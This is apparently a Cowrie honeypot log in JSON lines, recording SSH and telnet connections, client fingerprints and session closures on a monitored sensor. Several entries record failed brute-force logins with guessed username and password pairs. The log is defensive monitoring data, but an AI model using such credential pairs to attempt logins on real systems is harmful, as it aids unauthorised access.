{"eventid":"cowrie.session.closed","duration":38.95855450630188,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:13.636073Z","src_ip":"45.58.127.90","session":"ea0292773886","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:15.116511Z","src_ip":"47.239.15.75","session":"0efa4279c6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.417668104171753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:44.041661Z","src_ip":"92.204.138.187","session":"55b0e9579b37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:46.791766Z","src_ip":"47.239.15.75","session":"0efa4279c6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":39372,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d74118850c","protocol":"ssh","message":"New connection: 87.106.29.151:39372 (159.203.135.109:22) [session: 30d74118850c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:51.189163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:51.198089Z","src_ip":"87.106.29.151","session":"30d74118850c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:51.290825Z","src_ip":"87.106.29.151","session":"30d74118850c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30295729637146,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:51.319788Z","src_ip":"45.58.127.90","session":"7b721d7aa7e0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"....","message":"login attempt [root/....] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:51.691405Z","src_ip":"87.106.29.151","session":"30d74118850c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:52.787117Z","src_ip":"87.106.29.151","session":"30d74118850c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"87.8","message":"Connection lost after 87.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:55.891827Z","src_ip":"47.239.15.75","session":"0efa4279c6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.191.176.80","src_port":47865,"dst_ip":"10.17.0.5","dst_port":23,"session":"a544d7ea0bfe","protocol":"telnet","message":"New connection: 196.191.176.80:47865 (10.17.0.5:23) [session: a544d7ea0bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:59:19.911209Z"}
{"eventid":"cowrie.session.closed","duration":12.749618530273438,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:59:32.660691Z","src_ip":"196.191.176.80","session":"a544d7ea0bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33278,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebd2c2cc69fd","protocol":"ssh","message":"New connection: 47.239.15.75:33278 (159.203.135.109:22) [session: ebd2c2cc69fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:59:35.262638Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.148.167.65","src_port":10496,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f4bc696d91","protocol":"telnet","message":"New connection: 31.148.167.65:10496 (10.17.0.5:23) [session: 51f4bc696d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:10.657077Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56486,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f4bb82128e","protocol":"telnet","message":"New connection: 45.58.127.90:56486 (10.17.0.5:23) [session: b5f4bb82128e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:15.270951Z"}
{"eventid":"cowrie.session.closed","duration":12.500659465789795,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:23.158005Z","src_ip":"31.148.167.65","session":"51f4bc696d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56614,"dst_ip":"10.17.0.5","dst_port":23,"session":"03d36cea0de9","protocol":"telnet","message":"New connection: 45.58.127.90:56614 (10.17.0.5:23) [session: 03d36cea0de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:31.277329Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56624,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7e7e1407aa","protocol":"telnet","message":"New connection: 45.58.127.90:56624 (10.17.0.5:23) [session: eb7e7e1407aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:34.326757Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":40444,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b004231ae6","protocol":"ssh","message":"New connection: 103.88.76.27:40444 (159.203.135.109:22) [session: 18b004231ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:46.541101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:46.545394Z","src_ip":"103.88.76.27","session":"18b004231ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:46.778306Z","src_ip":"103.88.76.27","session":"18b004231ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":57806,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc5ec78be81c","protocol":"telnet","message":"New connection: 92.204.138.187:57806 (10.17.0.5:23) [session: fc5ec78be81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:47.282012Z"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"111111","message":"login attempt [vncuser/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:47.743295Z","src_ip":"103.88.76.27","session":"18b004231ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:48.979973Z","src_ip":"103.88.76.27","session":"18b004231ae6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:53.008137Z","src_ip":"47.239.15.75","session":"ebd2c2cc69fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.45991539955139,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:00:59.730748Z","src_ip":"45.58.127.90","session":"b5f4bb82128e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.691611528396606,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:08.018279Z","src_ip":"45.58.127.90","session":"eb7e7e1407aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11859,"dst_ip":"10.17.0.5","dst_port":22,"session":"90cf8a4a39bd","protocol":"ssh","message":"New connection: 2.57.121.25:11859 (10.17.0.5:22) [session: 90cf8a4a39bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:09.002118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:09.006501Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:09.111874Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230584","message":"login attempt [user/230584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:09.605605Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23031979","message":"login attempt [user/23031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:10.714167Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23021995","message":"login attempt [user/23021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:11.823430Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23021994","message":"login attempt [user/23021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:12.933288Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230190","message":"login attempt [user/230190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:14.045141Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.76113152503967,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:15.038370Z","src_ip":"45.58.127.90","session":"03d36cea0de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:15.153954Z","src_ip":"2.57.121.25","session":"90cf8a4a39bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44456,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8afe43b2790","protocol":"telnet","message":"New connection: 45.58.127.90:44456 (10.17.0.5:23) [session: a8afe43b2790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:16.566576Z"}
{"eventid":"cowrie.session.closed","duration":30.785931825637817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:18.067656Z","src_ip":"92.204.138.187","session":"fc5ec78be81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.194.249.36","src_port":52121,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0d71f17ba6","protocol":"telnet","message":"New connection: 217.194.249.36:52121 (159.203.135.109:23) [session: 6f0d71f17ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:19.655550Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":45746,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b26c6d1187f","protocol":"ssh","message":"New connection: 47.239.15.75:45746 (159.203.135.109:22) [session: 9b26c6d1187f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:20.108002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:20.112790Z","src_ip":"47.239.15.75","session":"9b26c6d1187f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c37efa6cda","protocol":"telnet","message":"New connection: 45.58.127.90:57482 (10.17.0.5:23) [session: c4c37efa6cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:26.373248Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:35.277799Z","src_ip":"47.239.15.75","session":"ebd2c2cc69fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":38292,"dst_ip":"159.203.135.109","dst_port":22,"session":"0752ac5abd78","protocol":"ssh","message":"New connection: 47.239.15.75:38292 (159.203.135.109:22) [session: 0752ac5abd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:42.454492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:43.067015Z","src_ip":"47.239.15.75","session":"0752ac5abd78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53236,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f7daae35aa","protocol":"telnet","message":"New connection: 45.58.127.90:53236 (10.17.0.5:23) [session: 27f7daae35aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:48.918882Z"}
{"eventid":"cowrie.session.closed","duration":38.68706679344177,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:55.253522Z","src_ip":"45.58.127.90","session":"a8afe43b2790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":65096,"dst_ip":"10.17.0.5","dst_port":22,"session":"00bce7f077b4","protocol":"ssh","message":"New connection: 130.12.181.85:65096 (10.17.0.5:22) [session: 00bce7f077b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:58.214212Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:58.219325Z","src_ip":"130.12.181.85","session":"00bce7f077b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":65112,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca3348a0d43f","protocol":"ssh","message":"New connection: 130.12.181.85:65112 (10.17.0.5:22) [session: ca3348a0d43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:58.392715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:58.397983Z","src_ip":"130.12.181.85","session":"ca3348a0d43f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:58.501147Z","src_ip":"130.12.181.85","session":"ca3348a0d43f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:58.708962Z","src_ip":"130.12.181.85","session":"ca3348a0d43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:01:59.815839Z","src_ip":"130.12.181.85","session":"ca3348a0d43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.323728799819946,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:02:04.696862Z","src_ip":"45.58.127.90","session":"c4c37efa6cda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.18.135.194","src_port":34920,"dst_ip":"10.17.0.5","dst_port":23,"session":"2858902c346c","protocol":"telnet","message":"New connection: 189.18.135.194:34920 (10.17.0.5:23) [session: 2858902c346c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:02:25.806210Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44248,"dst_ip":"10.17.0.5","dst_port":23,"session":"d356fc875bd1","protocol":"telnet","message":"New connection: 45.58.127.90:44248 (10.17.0.5:23) [session: d356fc875bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:02:25.814525Z"}
